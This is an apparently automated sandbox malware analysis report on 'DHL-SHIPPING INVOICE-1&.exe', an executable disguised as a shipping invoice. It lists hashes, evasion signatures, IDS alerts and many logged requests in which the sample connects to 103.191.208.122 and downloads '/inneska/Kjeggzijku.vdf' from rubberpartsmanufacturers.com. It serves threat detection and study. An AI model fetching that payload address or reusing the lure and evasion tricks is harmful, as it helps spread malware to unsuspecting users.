Edit tour

Windows Analysis Report
DHL-SHIPPING INVOICE-1&.exe

Overview

General Information

Sample name:	DHL-SHIPPING INVOICE-1&.exe
Analysis ID:	1535816
MD5:	8fbbd902161a8efa056e3db546ea7946
SHA1:	4be996a6c3d74f69d1dbb46f843f759190f5110e
SHA256:	8211115dc28bb6b93fa0deff0b8be55e4d05a0a5af912040169f299b65875bda
Tags:	DHLexeuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Sample has a suspicious name (potential lure to open the executable)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

DHL-SHIPPING INVOICE-1&.exe (PID: 7260 cmdline: "C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe" MD5: 8FBBD902161A8EFA056E3DB546EA7946)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T10:45:30.741114+0200	2803305	3	Unknown Traffic	192.168.2.4	49731	103.191.208.122	443	TCP
2024-10-17T10:45:32.223002+0200	2803305	3	Unknown Traffic	192.168.2.4	49732	103.191.208.122	443	TCP
2024-10-17T10:45:33.690453+0200	2803305	3	Unknown Traffic	192.168.2.4	49733	103.191.208.122	443	TCP
2024-10-17T10:45:35.150605+0200	2803305	3	Unknown Traffic	192.168.2.4	49734	103.191.208.122	443	TCP
2024-10-17T10:45:36.920913+0200	2803305	3	Unknown Traffic	192.168.2.4	49735	103.191.208.122	443	TCP
2024-10-17T10:45:38.407880+0200	2803305	3	Unknown Traffic	192.168.2.4	49736	103.191.208.122	443	TCP
2024-10-17T10:45:39.904840+0200	2803305	3	Unknown Traffic	192.168.2.4	49737	103.191.208.122	443	TCP
2024-10-17T10:45:41.360113+0200	2803305	3	Unknown Traffic	192.168.2.4	49738	103.191.208.122	443	TCP
2024-10-17T10:45:42.830062+0200	2803305	3	Unknown Traffic	192.168.2.4	49739	103.191.208.122	443	TCP
2024-10-17T10:45:44.305112+0200	2803305	3	Unknown Traffic	192.168.2.4	49740	103.191.208.122	443	TCP
2024-10-17T10:45:45.797877+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	103.191.208.122	443	TCP
2024-10-17T10:45:47.278145+0200	2803305	3	Unknown Traffic	192.168.2.4	49746	103.191.208.122	443	TCP
2024-10-17T10:45:48.778978+0200	2803305	3	Unknown Traffic	192.168.2.4	49748	103.191.208.122	443	TCP
2024-10-17T10:45:50.238028+0200	2803305	3	Unknown Traffic	192.168.2.4	49750	103.191.208.122	443	TCP
2024-10-17T10:45:51.707907+0200	2803305	3	Unknown Traffic	192.168.2.4	49751	103.191.208.122	443	TCP
2024-10-17T10:45:53.193914+0200	2803305	3	Unknown Traffic	192.168.2.4	49752	103.191.208.122	443	TCP
2024-10-17T10:45:54.634392+0200	2803305	3	Unknown Traffic	192.168.2.4	49753	103.191.208.122	443	TCP
2024-10-17T10:45:56.083941+0200	2803305	3	Unknown Traffic	192.168.2.4	49754	103.191.208.122	443	TCP
2024-10-17T10:45:57.556438+0200	2803305	3	Unknown Traffic	192.168.2.4	49755	103.191.208.122	443	TCP
2024-10-17T10:45:59.005788+0200	2803305	3	Unknown Traffic	192.168.2.4	49756	103.191.208.122	443	TCP
2024-10-17T10:46:00.451816+0200	2803305	3	Unknown Traffic	192.168.2.4	49757	103.191.208.122	443	TCP
2024-10-17T10:46:01.901798+0200	2803305	3	Unknown Traffic	192.168.2.4	49758	103.191.208.122	443	TCP
2024-10-17T10:46:03.352612+0200	2803305	3	Unknown Traffic	192.168.2.4	49759	103.191.208.122	443	TCP
2024-10-17T10:46:04.804421+0200	2803305	3	Unknown Traffic	192.168.2.4	49760	103.191.208.122	443	TCP
2024-10-17T10:46:06.291424+0200	2803305	3	Unknown Traffic	192.168.2.4	49761	103.191.208.122	443	TCP
2024-10-17T10:46:07.864941+0200	2803305	3	Unknown Traffic	192.168.2.4	49762	103.191.208.122	443	TCP
2024-10-17T10:46:09.342705+0200	2803305	3	Unknown Traffic	192.168.2.4	49763	103.191.208.122	443	TCP
2024-10-17T10:46:10.804718+0200	2803305	3	Unknown Traffic	192.168.2.4	49764	103.191.208.122	443	TCP
2024-10-17T10:46:12.725781+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	103.191.208.122	443	TCP
2024-10-17T10:46:14.167626+0200	2803305	3	Unknown Traffic	192.168.2.4	56700	103.191.208.122	443	TCP
2024-10-17T10:46:15.623215+0200	2803305	3	Unknown Traffic	192.168.2.4	56703	103.191.208.122	443	TCP
2024-10-17T10:46:17.123192+0200	2803305	3	Unknown Traffic	192.168.2.4	56704	103.191.208.122	443	TCP
2024-10-17T10:46:18.566939+0200	2803305	3	Unknown Traffic	192.168.2.4	56705	103.191.208.122	443	TCP
2024-10-17T10:46:20.014144+0200	2803305	3	Unknown Traffic	192.168.2.4	56707	103.191.208.122	443	TCP
2024-10-17T10:46:21.469767+0200	2803305	3	Unknown Traffic	192.168.2.4	56713	103.191.208.122	443	TCP
2024-10-17T10:46:22.941094+0200	2803305	3	Unknown Traffic	192.168.2.4	56719	103.191.208.122	443	TCP
2024-10-17T10:46:24.399680+0200	2803305	3	Unknown Traffic	192.168.2.4	56729	103.191.208.122	443	TCP
2024-10-17T10:46:25.852320+0200	2803305	3	Unknown Traffic	192.168.2.4	56735	103.191.208.122	443	TCP
2024-10-17T10:46:27.356913+0200	2803305	3	Unknown Traffic	192.168.2.4	56746	103.191.208.122	443	TCP
2024-10-17T10:46:28.817057+0200	2803305	3	Unknown Traffic	192.168.2.4	56755	103.191.208.122	443	TCP
2024-10-17T10:46:30.293703+0200	2803305	3	Unknown Traffic	192.168.2.4	56763	103.191.208.122	443	TCP
2024-10-17T10:46:31.825450+0200	2803305	3	Unknown Traffic	192.168.2.4	56769	103.191.208.122	443	TCP
2024-10-17T10:46:33.319475+0200	2803305	3	Unknown Traffic	192.168.2.4	56780	103.191.208.122	443	TCP
2024-10-17T10:46:34.779713+0200	2803305	3	Unknown Traffic	192.168.2.4	56791	103.191.208.122	443	TCP
2024-10-17T10:46:36.288734+0200	2803305	3	Unknown Traffic	192.168.2.4	56797	103.191.208.122	443	TCP
2024-10-17T10:46:37.802093+0200	2803305	3	Unknown Traffic	192.168.2.4	56808	103.191.208.122	443	TCP
2024-10-17T10:46:39.282160+0200	2803305	3	Unknown Traffic	192.168.2.4	56818	103.191.208.122	443	TCP
2024-10-17T10:46:40.734686+0200	2803305	3	Unknown Traffic	192.168.2.4	56825	103.191.208.122	443	TCP
2024-10-17T10:46:42.219776+0200	2803305	3	Unknown Traffic	192.168.2.4	56835	103.191.208.122	443	TCP
2024-10-17T10:46:43.661687+0200	2803305	3	Unknown Traffic	192.168.2.4	56846	103.191.208.122	443	TCP
2024-10-17T10:46:45.139266+0200	2803305	3	Unknown Traffic	192.168.2.4	56853	103.191.208.122	443	TCP
2024-10-17T10:46:46.656583+0200	2803305	3	Unknown Traffic	192.168.2.4	56862	103.191.208.122	443	TCP
2024-10-17T10:46:48.147641+0200	2803305	3	Unknown Traffic	192.168.2.4	56871	103.191.208.122	443	TCP
2024-10-17T10:46:49.605862+0200	2803305	3	Unknown Traffic	192.168.2.4	56881	103.191.208.122	443	TCP
2024-10-17T10:46:52.356323+0200	2803305	3	Unknown Traffic	192.168.2.4	56899	103.191.208.122	443	TCP
2024-10-17T10:46:54.039344+0200	2803305	3	Unknown Traffic	192.168.2.4	56908	103.191.208.122	443	TCP
2024-10-17T10:46:57.388592+0200	2803305	3	Unknown Traffic	192.168.2.4	56927	103.191.208.122	443	TCP
2024-10-17T10:46:58.869589+0200	2803305	3	Unknown Traffic	192.168.2.4	56937	103.191.208.122	443	TCP
2024-10-17T10:47:00.435784+0200	2803305	3	Unknown Traffic	192.168.2.4	56948	103.191.208.122	443	TCP
2024-10-17T10:47:02.831024+0200	2803305	3	Unknown Traffic	192.168.2.4	56964	103.191.208.122	443	TCP
2024-10-17T10:47:04.301101+0200	2803305	3	Unknown Traffic	192.168.2.4	56972	103.191.208.122	443	TCP
2024-10-17T10:47:05.769358+0200	2803305	3	Unknown Traffic	192.168.2.4	56983	103.191.208.122	443	TCP
2024-10-17T10:47:07.233555+0200	2803305	3	Unknown Traffic	192.168.2.4	56991	103.191.208.122	443	TCP
2024-10-17T10:47:08.693357+0200	2803305	3	Unknown Traffic	192.168.2.4	57000	103.191.208.122	443	TCP
2024-10-17T10:47:10.157721+0200	2803305	3	Unknown Traffic	192.168.2.4	57008	103.191.208.122	443	TCP
2024-10-17T10:47:11.640056+0200	2803305	3	Unknown Traffic	192.168.2.4	57009	103.191.208.122	443	TCP
2024-10-17T10:47:13.166751+0200	2803305	3	Unknown Traffic	192.168.2.4	57010	103.191.208.122	443	TCP
2024-10-17T10:47:14.629944+0200	2803305	3	Unknown Traffic	192.168.2.4	57011	103.191.208.122	443	TCP
2024-10-17T10:47:16.142287+0200	2803305	3	Unknown Traffic	192.168.2.4	57012	103.191.208.122	443	TCP
2024-10-17T10:47:17.608321+0200	2803305	3	Unknown Traffic	192.168.2.4	57013	103.191.208.122	443	TCP
2024-10-17T10:47:19.056436+0200	2803305	3	Unknown Traffic	192.168.2.4	57014	103.191.208.122	443	TCP
2024-10-17T10:47:20.507646+0200	2803305	3	Unknown Traffic	192.168.2.4	57015	103.191.208.122	443	TCP
2024-10-17T10:47:22.379253+0200	2803305	3	Unknown Traffic	192.168.2.4	57017	103.191.208.122	443	TCP
2024-10-17T10:47:23.814115+0200	2803305	3	Unknown Traffic	192.168.2.4	57018	103.191.208.122	443	TCP
2024-10-17T10:47:25.283549+0200	2803305	3	Unknown Traffic	192.168.2.4	57019	103.191.208.122	443	TCP
2024-10-17T10:47:26.896880+0200	2803305	3	Unknown Traffic	192.168.2.4	57020	103.191.208.122	443	TCP
2024-10-17T10:47:28.181878+0200	2803305	3	Unknown Traffic	192.168.2.4	57021	103.191.208.122	443	TCP
2024-10-17T10:47:30.692314+0200	2803305	3	Unknown Traffic	192.168.2.4	57023	103.191.208.122	443	TCP
2024-10-17T10:47:32.222649+0200	2803305	3	Unknown Traffic	192.168.2.4	57024	103.191.208.122	443	TCP
2024-10-17T10:47:33.694881+0200	2803305	3	Unknown Traffic	192.168.2.4	57025	103.191.208.122	443	TCP
2024-10-17T10:47:35.192298+0200	2803305	3	Unknown Traffic	192.168.2.4	57026	103.191.208.122	443	TCP
2024-10-17T10:47:36.662281+0200	2803305	3	Unknown Traffic	192.168.2.4	57027	103.191.208.122	443	TCP
2024-10-17T10:47:38.962017+0200	2803305	3	Unknown Traffic	192.168.2.4	57029	103.191.208.122	443	TCP
2024-10-17T10:47:40.715486+0200	2803305	3	Unknown Traffic	192.168.2.4	57030	103.191.208.122	443	TCP
2024-10-17T10:47:42.287778+0200	2803305	3	Unknown Traffic	192.168.2.4	57031	103.191.208.122	443	TCP
2024-10-17T10:47:43.783634+0200	2803305	3	Unknown Traffic	192.168.2.4	57032	103.191.208.122	443	TCP
2024-10-17T10:47:45.260773+0200	2803305	3	Unknown Traffic	192.168.2.4	57033	103.191.208.122	443	TCP
2024-10-17T10:47:47.183193+0200	2803305	3	Unknown Traffic	192.168.2.4	57035	103.191.208.122	443	TCP
2024-10-17T10:47:48.727899+0200	2803305	3	Unknown Traffic	192.168.2.4	57036	103.191.208.122	443	TCP
2024-10-17T10:47:50.953306+0200	2803305	3	Unknown Traffic	192.168.2.4	57038	103.191.208.122	443	TCP
2024-10-17T10:47:52.460410+0200	2803305	3	Unknown Traffic	192.168.2.4	57039	103.191.208.122	443	TCP
2024-10-17T10:47:53.956234+0200	2803305	3	Unknown Traffic	192.168.2.4	57040	103.191.208.122	443	TCP
2024-10-17T10:47:55.438324+0200	2803305	3	Unknown Traffic	192.168.2.4	57041	103.191.208.122	443	TCP
2024-10-17T10:47:56.933762+0200	2803305	3	Unknown Traffic	192.168.2.4	57042	103.191.208.122	443	TCP
2024-10-17T10:47:58.481937+0200	2803305	3	Unknown Traffic	192.168.2.4	57043	103.191.208.122	443	TCP
2024-10-17T10:48:00.011026+0200	2803305	3	Unknown Traffic	192.168.2.4	57044	103.191.208.122	443	TCP
2024-10-17T10:48:01.476457+0200	2803305	3	Unknown Traffic	192.168.2.4	57045	103.191.208.122	443	TCP
2024-10-17T10:48:03.464095+0200	2803305	3	Unknown Traffic	192.168.2.4	57046	103.191.208.122	443	TCP
2024-10-17T10:48:04.883334+0200	2803305	3	Unknown Traffic	192.168.2.4	57048	103.191.208.122	443	TCP
2024-10-17T10:48:06.595267+0200	2803305	3	Unknown Traffic	192.168.2.4	57049	103.191.208.122	443	TCP
2024-10-17T10:48:08.063145+0200	2803305	3	Unknown Traffic	192.168.2.4	57050	103.191.208.122	443	TCP
2024-10-17T10:48:09.522377+0200	2803305	3	Unknown Traffic	192.168.2.4	57051	103.191.208.122	443	TCP
2024-10-17T10:48:10.986153+0200	2803305	3	Unknown Traffic	192.168.2.4	57052	103.191.208.122	443	TCP
2024-10-17T10:48:13.261276+0200	2803305	3	Unknown Traffic	192.168.2.4	57054	103.191.208.122	443	TCP
2024-10-17T10:48:14.710157+0200	2803305	3	Unknown Traffic	192.168.2.4	57055	103.191.208.122	443	TCP
2024-10-17T10:48:16.180670+0200	2803305	3	Unknown Traffic	192.168.2.4	57056	103.191.208.122	443	TCP
2024-10-17T10:48:17.644712+0200	2803305	3	Unknown Traffic	192.168.2.4	57057	103.191.208.122	443	TCP
2024-10-17T10:48:19.109139+0200	2803305	3	Unknown Traffic	192.168.2.4	57058	103.191.208.122	443	TCP
2024-10-17T10:48:20.549130+0200	2803305	3	Unknown Traffic	192.168.2.4	57059	103.191.208.122	443	TCP
2024-10-17T10:48:22.028188+0200	2803305	3	Unknown Traffic	192.168.2.4	57060	103.191.208.122	443	TCP
2024-10-17T10:48:23.526064+0200	2803305	3	Unknown Traffic	192.168.2.4	57061	103.191.208.122	443	TCP
2024-10-17T10:48:25.288955+0200	2803305	3	Unknown Traffic	192.168.2.4	57062	103.191.208.122	443	TCP
2024-10-17T10:48:26.747857+0200	2803305	3	Unknown Traffic	192.168.2.4	57063	103.191.208.122	443	TCP
2024-10-17T10:48:28.214556+0200	2803305	3	Unknown Traffic	192.168.2.4	57064	103.191.208.122	443	TCP
2024-10-17T10:48:29.681914+0200	2803305	3	Unknown Traffic	192.168.2.4	57065	103.191.208.122	443	TCP
2024-10-17T10:48:31.749572+0200	2803305	3	Unknown Traffic	192.168.2.4	57067	103.191.208.122	443	TCP
2024-10-17T10:48:33.219758+0200	2803305	3	Unknown Traffic	192.168.2.4	57068	103.191.208.122	443	TCP
2024-10-17T10:48:34.696031+0200	2803305	3	Unknown Traffic	192.168.2.4	57069	103.191.208.122	443	TCP
2024-10-17T10:48:36.168915+0200	2803305	3	Unknown Traffic	192.168.2.4	57070	103.191.208.122	443	TCP
2024-10-17T10:48:37.636177+0200	2803305	3	Unknown Traffic	192.168.2.4	57071	103.191.208.122	443	TCP
2024-10-17T10:48:39.114006+0200	2803305	3	Unknown Traffic	192.168.2.4	57072	103.191.208.122	443	TCP
2024-10-17T10:48:40.596080+0200	2803305	3	Unknown Traffic	192.168.2.4	57073	103.191.208.122	443	TCP
2024-10-17T10:48:42.031839+0200	2803305	3	Unknown Traffic	192.168.2.4	57074	103.191.208.122	443	TCP
2024-10-17T10:48:44.533157+0200	2803305	3	Unknown Traffic	192.168.2.4	57076	103.191.208.122	443	TCP
2024-10-17T10:48:45.996702+0200	2803305	3	Unknown Traffic	192.168.2.4	57077	103.191.208.122	443	TCP
2024-10-17T10:48:47.466131+0200	2803305	3	Unknown Traffic	192.168.2.4	57078	103.191.208.122	443	TCP
2024-10-17T10:48:48.914187+0200	2803305	3	Unknown Traffic	192.168.2.4	57079	103.191.208.122	443	TCP
2024-10-17T10:48:50.365945+0200	2803305	3	Unknown Traffic	192.168.2.4	57080	103.191.208.122	443	TCP
2024-10-17T10:48:51.852713+0200	2803305	3	Unknown Traffic	192.168.2.4	57081	103.191.208.122	443	TCP
2024-10-17T10:48:53.834050+0200	2803305	3	Unknown Traffic	192.168.2.4	57084	103.191.208.122	443	TCP
2024-10-17T10:48:57.106112+0200	2803305	3	Unknown Traffic	192.168.2.4	57088	103.191.208.122	443	TCP
2024-10-17T10:48:58.640575+0200	2803305	3	Unknown Traffic	192.168.2.4	57089	103.191.208.122	443	TCP
2024-10-17T10:49:00.156669+0200	2803305	3	Unknown Traffic	192.168.2.4	57090	103.191.208.122	443	TCP
2024-10-17T10:49:01.647318+0200	2803305	3	Unknown Traffic	192.168.2.4	57091	103.191.208.122	443	TCP
2024-10-17T10:49:03.160658+0200	2803305	3	Unknown Traffic	192.168.2.4	57092	103.191.208.122	443	TCP
2024-10-17T10:49:04.821617+0200	2803305	3	Unknown Traffic	192.168.2.4	57093	103.191.208.122	443	TCP
2024-10-17T10:49:06.292568+0200	2803305	3	Unknown Traffic	192.168.2.4	57094	103.191.208.122	443	TCP
2024-10-17T10:49:07.791110+0200	2803305	3	Unknown Traffic	192.168.2.4	57095	103.191.208.122	443	TCP
2024-10-17T10:49:09.306182+0200	2803305	3	Unknown Traffic	192.168.2.4	57096	103.191.208.122	443	TCP
2024-10-17T10:49:10.812318+0200	2803305	3	Unknown Traffic	192.168.2.4	57097	103.191.208.122	443	TCP
2024-10-17T10:49:12.343595+0200	2803305	3	Unknown Traffic	192.168.2.4	57098	103.191.208.122	443	TCP
2024-10-17T10:49:13.521711+0200	2803305	3	Unknown Traffic	192.168.2.4	57099	103.191.208.122	443	TCP
2024-10-17T10:49:15.009819+0200	2803305	3	Unknown Traffic	192.168.2.4	57100	103.191.208.122	443	TCP
2024-10-17T10:49:16.484223+0200	2803305	3	Unknown Traffic	192.168.2.4	57101	103.191.208.122	443	TCP
2024-10-17T10:49:17.957618+0200	2803305	3	Unknown Traffic	192.168.2.4	57102	103.191.208.122	443	TCP
2024-10-17T10:49:19.421134+0200	2803305	3	Unknown Traffic	192.168.2.4	57103	103.191.208.122	443	TCP
2024-10-17T10:49:20.908238+0200	2803305	3	Unknown Traffic	192.168.2.4	57104	103.191.208.122	443	TCP
2024-10-17T10:49:22.881332+0200	2803305	3	Unknown Traffic	192.168.2.4	57105	103.191.208.122	443	TCP
2024-10-17T10:49:24.384970+0200	2803305	3	Unknown Traffic	192.168.2.4	57106	103.191.208.122	443	TCP
2024-10-17T10:49:25.911511+0200	2803305	3	Unknown Traffic	192.168.2.4	57107	103.191.208.122	443	TCP
2024-10-17T10:49:27.381674+0200	2803305	3	Unknown Traffic	192.168.2.4	57108	103.191.208.122	443	TCP
2024-10-17T10:49:28.855753+0200	2803305	3	Unknown Traffic	192.168.2.4	57109	103.191.208.122	443	TCP
2024-10-17T10:49:30.830836+0200	2803305	3	Unknown Traffic	192.168.2.4	57110	103.191.208.122	443	TCP
2024-10-17T10:49:32.320091+0200	2803305	3	Unknown Traffic	192.168.2.4	57111	103.191.208.122	443	TCP
2024-10-17T10:49:35.506407+0200	2803305	3	Unknown Traffic	192.168.2.4	57113	103.191.208.122	443	TCP
2024-10-17T10:49:37.003450+0200	2803305	3	Unknown Traffic	192.168.2.4	57114	103.191.208.122	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: DHL-SHIPPING INVOICE-1&.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:56972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:57113 version: TLS 1.2

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
